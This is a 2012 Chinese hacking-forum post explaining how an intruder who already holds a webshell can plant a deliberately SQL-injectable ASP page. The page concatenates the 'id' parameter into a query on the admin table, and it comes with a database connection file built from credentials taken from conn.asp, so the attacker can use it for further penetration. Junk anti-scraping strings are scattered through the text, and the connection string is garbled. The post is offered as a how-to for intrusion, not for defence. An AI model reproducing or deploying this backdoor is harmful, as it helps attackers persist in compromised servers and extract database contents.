找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2342|回复: 0
打印 上一主题 下一主题

自己构造注入点方便入侵

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:27:31 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
自己构造注入点方便入侵
: E! x' F3 M! g$ M: a' z" W1 _( l
今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息
2 c4 C( S2 J" y4 g/ L
3 t2 P2 L3 S, r这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!1 l0 b+ K* N; w7 b7 I, o2 q) X9 f

- A7 M/ Q! P% ~首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和
% `. e) I& f6 P3 C5 [9 ]  U* i0 s0 g7 F3 a! Q! P
密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表
3 f2 d$ U% g) \' f1 O
  J6 m. X* b4 S9 L8 P因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:+ {/ a  }; k" C  D9 k- f
% @9 L! \9 j  o
程序代码
+ e- W. U5 X. C& y# a# D<!--#include file="xx.asp"-->
2 M  F) b9 i! j<%
; d2 D9 \9 D8 K2 j& Y* P) b! Nset rs=server.createobject("ADODB.recordset"). n- j2 z' v, V' t; z6 H
id = request("id")
0 E( x$ Y1 w( ?" ?; E- _+ }+ CstrSQL = "select * from admin where id=" & id
4 r. D6 ]- x* Q8 p5 ^rs.open strSQL,conn,1,3+ ?& Z- b, v5 r" @; L2 n' U# N/ r, Q
rs.close6 P8 A/ }/ E( k' g  v9 |& k
%>- Q& f- ]0 l: M& X
0 b) a5 w# r, Z$ ~
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在
2 h) X  _8 r5 G$ S0 _
+ f+ P! N* t- U9 J8 Y+ P你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!2 H- m" W6 S' l1 _
; c3 H! D8 N1 H' Z# L
然后就要构造一个连接数据库的文件了,代码如下:% P6 p0 N" j* G* f
程序代码
1 x* D7 J* t, a' o+ `* q<%        7 n) [% o$ X1 E8 [6 W- Z' Q
strSQLServerName = "000.000.000.000"     '服务器名称或地址
- G+ f7 d# ^5 N& u3 wstrSQLDBUserName = "sqlname"         '数据库帐号5 |4 ]1 f2 a4 r4 g5 ]# Y
strSQLDBPassword = "sqlpass"         '数据库密码6 N+ E% }6 i  z3 W4 h
strSQLDBName = "sqldataname"           '数据库名称
7 Y7 R; H8 L3 l1 H: @) _* w- YSet conn = Server.CreateObject("ADODB.Connection")5 n3 H4 T& S* P9 h, h* c9 d
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
$ }% A5 H: n. g3 Mconn.open strCon
& Q! ~0 ]! m, @% i# X%>. P/ G, h# q) s
3 E" h0 p) d! ~( o; T' o9 m, K
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,- t% J5 W+ D$ v  Q
% {" k4 v& ~! l% T, e+ e9 d4 r, b
就这样,正常情况下,就OK了,伪造成功……
. }; |' A7 |) F: T
6 Y- s0 L& V5 ?$ m           如果有什么问题可以提出来大家一起探讨解决。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表